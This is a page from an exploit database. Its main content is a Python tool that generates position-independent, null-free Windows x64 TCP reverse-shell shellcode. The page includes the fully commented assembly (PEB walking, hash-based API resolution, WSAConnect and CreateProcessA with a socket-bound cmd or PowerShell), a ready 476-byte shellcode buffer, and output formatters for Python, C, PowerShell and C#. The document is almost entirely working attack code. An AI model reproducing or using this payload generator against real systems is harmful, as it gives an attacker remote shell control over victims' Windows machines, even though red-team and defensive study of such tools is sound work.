0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)
import ctypes, struct import argparse from keystone import * # Exploit Title: Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes) # Exploit Author: Senzee # Date: 08/29/2023 # Platform: Windows X64 # Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter # OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763 # Test IP: 192.168.1.45 # Test Port: 443 # Payload size: 476 bytes # NUll-Free: True # Detailed information can be found at https://github.com/senzee1984/micr0_shell # Generated Shellcode (192.168.1.45:443): # Payload size: 476 bytes # buf = b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d" # buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01" # buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01" # buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31" # buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45" # buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b" # buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff" # buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32" # buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49" # buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48" # buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec" # buf += b"\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x2b\xff\xff" # buf += b"\xff\x48\x83\xec\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0" # buf += b"\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48" # buf += b"\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xf3\xfe\xff\xff\x48\x83\xec" # buf += b"\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb" # buf += b"\x48\x89\x54\x24\x02\xba\xc0\xa8\x01\x2d\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x4d" # buf += b"\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c\x89\x4c" # buf += b"\x24\x28\x4c\x89\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe" # buf += b"\xb3\x16\xe8\x99\xfe\xff\xff\x48\xba\x9c\x92\x9b\xd1\x9a\x87\x9a\xff\x48\xf7\xd2" # buf += b"\x52\x48\x89\xe2\x41\x54\x41\x54\x41\x54\x48\x31\xc9\x66\x51\x51\x51\xb1\xff\x66" # buf += b"\xff\xc1\x66\x51\x48\x31\xc9\x66\x51\x66\x51\x51\x51\x51\x51\x51\x51\xb1\x68\x51" # buf += b"\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9\x20\x51\x57\x48\x31\xc9\x51\x51\x51\x48\xff" # buf += b"\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49\x89\xc8\x49\x89\xc9\xff\xd0" def print_banner(): banner=""" ███╗░░░███╗██╗░█████╗░██████╗░░█████╗░ ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░ ████╗░████║██║██╔══██╗██╔══██╗██╔══██╗ ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░ ██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║ ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░ ██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║ ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░ ██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝ ██████╔╝██║░░██║███████╗███████╗███████╗ ╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░ ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝ """ print(banner) print("Author: Senzee") print("Original Github Repository: https://github.com/senzee1984/micr0_shell") print("Description: Dynamically generate PIC Null-Free Windows X64 TCP Reverse Shell Shellcode") print("This version does not support shellcode execution") print("Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255\n\n") def get_port_argument(port): port_hex_str = format(port, '04x') port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2] if "00" in {port_part_1, port_part_2}: port += 257 port_hex_str = format(port, '04x') port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2] return f"mov dx, 0x{port_part_1 + port_part_2};\nsub dx, 0x101;" return f"mov dx, 0x{port_part_1 + port_part_2};" def get_ip_argument(ip): ip_hex_parts = [format(int(part), '02x') for part in ip.split('.')] reversed_hex = ''.join(ip_hex_parts[::-1]) if "00" in ip_hex_parts and "ff" not in ip_hex_parts: hex_int = int(reversed_hex, 16) neg_hex = (0xFFFFFFFF + 1 - hex_int) & 0xFFFFFFFF return f"mov edx, 0x{neg_hex:08x};\nneg rdx;" return f"mov edx, 0x{reversed_hex};" def get_shell_type_argument(shell_type): if shell_type == "cmd": return f"mov rdx, 0xff9a879ad19b929c;\nnot rdx;" return (f"sub rsp, 8;\nmov rdx, 0xffff9a879ad19393;\nnot rdx;\npush rdx;" f"\nmov rdx, 0x6568737265776f70;") def output_shellcode(lan,encoding,var,save): sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh) print("[+]Payload size: "+str(len(encoding))+" bytes\n") counter=0 if lan=="python": print("[+]Shellcode format for Python\n") sc = "" sc = var+" = b\"" for dec in encoding: if counter % 20 == 0 and counter != 0: sc += "\"\n"+var+"+="+"b\"" sc += "\\x{0:02x}".format(int(dec)) counter += 1 if count % 20 > 0: sc += "\"" print(sc) elif lan=="c": print("[+]Shellcode format for C\n") sc = "unsigned char " + var + "[]={\n" for dec in encoding: if counter % 20 == 0 and counter != 0: sc += "\n" sc += "0x{0:02x}".format(int(dec))+"," counter += 1 sc=sc[0:len(sc)-1]+"};" print(sc) elif lan=="powershell": print("[+]Shellcode format for Powershell\n") sc = "[Byte[]] $"+var+" = " for dec in encoding: sc += "0x{0:02x}".format(int(dec))+"," sc=sc[0:len(sc)-1] print(sc) elif lan=="csharp": print("[+]Shellcode format for C#\n") sc = "byte[] " + var + "= new byte["+str(len(encoding))+"] {\n" for dec in encoding: if counter % 20 == 0 and counter != 0: sc += "\n" sc += "0x{0:02x}".format(int(dec))+"," counter += 1 sc=sc[0:len(sc)-1]+"};" print(sc) else: print("Unsupported language! Exiting...") exit() if save=="true": try: with open(output, 'wb') as f: f.write(shellcode) print("\n\nGenerated shellcode successfully saved in file "+output) except Exception as e: print(e) if __name__ == "__main__": print_banner() parser = argparse.ArgumentParser(description='Dynamically generate Windows x64 reverse shell.') parser.add_argument('--ip', '-i', required=True, dest='ip',help='The listening IP address, default value is 192.168.0.45') parser.add_argument('--port', '-p', required=False, default=443, dest='port',help='The local listening port, default value is 443') parser.add_argument('--language', '-l', required=False, default='python', dest='lan',help='The language of desired shellcode runner, default language is python. Support c, csharp, python, powershell') parser.add_argument('--variable', '-v', required=False, default='buf', dest='var',help='The variable name of shellcode array, default variable is buf') parser.add_argument('--type', '-t', required=False, default='cmd', dest='shell_type',help='The shell type, Powershell or Cmd, default shell is cmd') parser.add_argument('--save', '-s', required=False, default='False', dest='save',help='Whether to save the generated shellcode to a bin file, True/False') parser.add_argument('--output', '-o', required=False, default='', dest='output',help='If choose to save the shellcode to file, the desired location.') args = parser.parse_args() ip=args.ip port=int(args.port) lan=args.lan.lower() var=args.var shell_type=args.shell_type.lower() save=args.save.lower() output=args.output print("[+]Shellcode Settings:") print("******** IP Address: "+ip) print("******** Listening Port: "+str(port)) print("******** Language of desired shellcode runner: "+lan) print("******** Shellcode array variable name: "+var) print("******** Shell: "+shell_type) print("******** Save Shellcode to file: "+save+"\n\n") args = parser.parse_args() port_argument = get_port_argument(port) ip_argument = get_ip_argument(ip) shell_type = get_shell_type_argument(shell_type) CODE = ( "find_kernel32:" " xor rdx, rdx;" " mov rax, gs:[rdx+0x60];" # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address " mov rsi,[rax+0x18];" # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure " mov rsi,[rsi + 0x30];" # RSI is the address of the InInitializationOrderModuleList member in the _PEB_LDR_DATA structure " mov r9, [rsi];" # Current module is python.exe " mov r9, [r9];" # Current module is ntdll.dll " mov r9, [r9+0x10];" # Current module is kernel32.dll " jmp jump_section;" "parse_module:" # Parsing DLL file in memory " mov ecx, dword ptr [r9 + 0x3c];" # R9 stores the base address of the module, get the NT header offset " xor r15, r15;" " mov r15b, 0x88;" # Offset to Export Directory " add r15, r9;" " add r15, rcx;" " mov r15d, dword ptr [r15];" # Get the RVA of the export directory " add r15, r9;" # R14 stores the VMA of the export directory " mov ecx, dword ptr [r15 + 0x18];" # ECX stores the number of function names as an index value " mov r14d, dword ptr [r15 + 0x20];" # Get the RVA of ENPT " add r14, r9;" # R14 stores the VMA of ENPT "search_function:" # Search for a given function " jrcxz not_found;" # If RCX is 0, the given function is not found " dec ecx;" # Decrease index by 1 " xor rsi, rsi;" " mov esi, [r14 + rcx*4];" # RVA of function name string " add rsi, r9;" # RSI points to function name string "function_hashing:" # Hash function name function " xor rax, rax;" " xor rdx, rdx;" " cld;" # Clear DF flag "iteration:" # Iterate over each byte " lodsb;" # Copy the next byte of RSI to Al " test al, al;" # If reaching the end of the string " jz compare_hash;" # Compare hash " ror edx, 0x0d;" # Part of hash algorithm " add edx, eax;" # Part of hash algorithm " jmp iteration;" # Next byte "compare_hash:" # Compare hash " cmp edx, r8d;" " jnz search_function;" # If not equal, search the previous function (index decreases) " mov r10d, [r15 + 0x24];" # Ordinal table RVA " add r10, r9;" # Ordinal table VMA " movzx ecx, word ptr [r10 + 2*rcx];" # Ordinal value -1 " mov r11d, [r15 + 0x1c];" # RVA of EAT " add r11, r9;" # VMA of EAT " mov eax, [r11 + 4*rcx];" # RAX stores RVA of the function " add rax, r9;" # RAX stores VMA of the function " ret;" "not_found:" " ret;" "jump_section:" # Achieve PIC and elminiate 0x00 byte " mov rbp, r9;" # RBP stores base address of Kernel32.dll " mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash " call parse_module;" # Search LoadLibraryA's address " mov r12, rax;" # R12 stores the address of LoadLibraryA function "load_module:" " xor rax, rax;" " mov ax, 0x6c6c;" # Save the string "ll" to RAX " push rax;" # Push the string to the stack " mov rax, 0x642E32335F325357;" # Save the string "WS2_32.D" to RAX " push rax;" # Push the string to the stack " mov rcx, rsp;" # RCX points to the "WS2_32.dll" string " sub rsp, 0x20;" # Function prologue " mov rax, r12;" # RAX stores address of LoadLibraryA function " call rax;" # LoadLibraryA("ws2_32.dll") " add rsp, 0x20;" # Function epilogue " mov r14, rax;" # R14 stores the base address of ws2_32.dll "call_wsastartup:" " mov r9, rax;" # R9 stores the base address of ws2_32.dll " mov r8d, 0x3bfcedcb;" # Hash of WSAStartup " mov rbx, r9;" # Save the base address of ws2_32.dll to RBX for later use " call parse_module;" # Search for and get the address of WSAStartup " xor rcx, rcx;" " mov cx, 0x198;" " sub rsp, rcx;" # Reserve enough space for the lpWSDATA structure " lea rdx, [rsp];" # Assign the address of lpWSAData to the RDX register as the 2nd parameter " mov cx, 0x202;" # Assign 0x202 to wVersionRequired and store it in RCX as the 1st parameter " sub rsp, 0x30;" # Function prologue " call rax;" # Call WSAStartup " add rsp, 0x30;" # Function epilogue "call_wsasocket:" " mov r9, rbx;" " mov r8d, 0xadf509d9;" # Hash of WSASocketA function " call parse_module;" # Get the address of WSASocketA function " sub rsp, 0x30;" # Function prologue " xor rcx, rcx;" " mov cl, 2;" # AF is 2 as the 1st parameter " xor rdx, rdx;" " mov dl, 1;" # Type is 1 as the 2nd parameter " xor r8, r8;" " mov r8b, 6;" # Protocol is 6 as the 3rd parameter " xor r9, r9;" # lpProtocolInfo is 0 as the 4th parameter " mov [rsp+0x20], r9;" # g is 0 as the 5th parameter, stored on the stack " mov [rsp+0x28], r9;" # dwFlags is 0 as the 6th parameter, stored on the stack " call rax;" # Call WSASocketA function " mov r12, rax;" # Save the returned socket type return value in R12 to prevent data loss in RAX " add rsp, 0x30;" # Function epilogue "call_wsaconnect:" " mov r9, rbx;" " mov r8d, 0xb32dba0c;" # Hash of WSAConnect " call parse_module;" # Get the address of WSAConnect " sub rsp, 0x20;" # Allocate enough space for the socketaddr structure " mov rcx, r12;" # Pass the socket descriptor returned by WSASocketA to RCX as the 1st parameter " xor rdx, rdx;" " mov dl, 2;" # Set sin_family to AF_INET (=2) " mov [rsp], rdx;" # Store the socketaddr structure " xor rdx, rdx;" f"{port_argument}" # Set local port dynamically " mov [rsp+2], rdx;" # Pass the port value to the corresponding position in the socketaddr structure f"{ip_argument}" " mov [rsp+4], rdx;" # Pass IP to the corresponding position in the socketaddr structure # " xor r8, r8;" # " mov [rsp+8], r8;" # Set zero for sin_zero. Comment these 2 lines to save more bytes, does not prevent the shellcode from working " lea rdx, [rsp];" # Pointer to the socketaddr structure as the 2nd parameter " xor r8, r8;" " mov r8b, 0x16;" # Set namelen member to 0x16 " xor r9, r9;" # lpCallerData is 0 as the 4th parameter " sub rsp, 0x38;" # Function prologue " mov [rsp+0x20], r9;" # lpCalleeData is 0 as the 5th parameter " mov [rsp+0x28], r9;" # lpSQOS is 0 as the 6th parameter " mov [rsp+0x30], r9;" # lpGQOS is 0 as the 7th parameter " call rax;" # Call WSAConnect " add rsp, 0x38;" # Function epilogue "call_createprocess:" " mov r9, rbp;" # R9 stores the base address of Kernel32.dll " mov r8d, 0x16b3fe72;" # Hash of CreateProcessA " call parse_module;" # Get the address of CreateProcessA f"{shell_type}" " push rdx;" " mov rdx, rsp;" # Pointer to "cmd.exe" is stored in the RCX register " push r12;" # The member STDERROR is the return value of WSASocketA " push r12;" # The member STDOUTPUT is the return value of WSASocketA " push r12;" # The member STDINPUT is the return value of WSASocketA " xor rcx, rcx;" " push cx;" # Pad with 0x00 before pushing the dwFlags member, only the total size matters " push rcx;" " push rcx;" " mov cl, 0xff;" " inc cx;" # 0xff+1=0x100 " push cx;" # dwFlags=0x100 " xor rcx, rcx;" " push cx;" # Pad with 0 before pushing the cb member, only the total size matters " push cx;" " push rcx;" " push rcx;" " push rcx;" " push rcx;" " push rcx;" " push rcx;" " mov cl, 0x68;" " push rcx;" # cb=0x68 " mov rdi, rsp;" # Pointer to STARTINFOA structure " mov rcx, rsp;" " sub rcx, 0x20;" # Reserve enough space for the ProcessInformation structure " push rcx;" # Address of the ProcessInformation structure as the 10th parameter " push rdi;" # Address of the STARTINFOA structure as the 9th parameter " xor rcx, rcx;" " push rcx;" # Value of lpCurrentDirectory is 0 as the 8th parameter " push rcx;" # lpEnvironment=0 as the 7th argument " push rcx;" # dwCreationFlags=0 as the 6th argument " inc rcx;" " push rcx;" # Value of bInheritHandles is 1 as the 5th parameter " dec cl;" " push rcx;" # Reserve space for the function return area (4th parameter) " push rcx;" # Reserve space for the function return area (3rd parameter) " push rcx;" # Reserve space for the function return area (2nd parameter) " push rcx;" # Reserve space for the function return area (1st parameter) " mov r8, rcx;" # lpProcessAttributes value is 0 as the 3rd parameter " mov r9, rcx;" # lpThreatAttributes value is 0 as the 4th parameter " call rax;" # Call CreateProcessA ) ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) output_shellcode(lan,encoding,var,save) # 0day.today [2024-11-14] #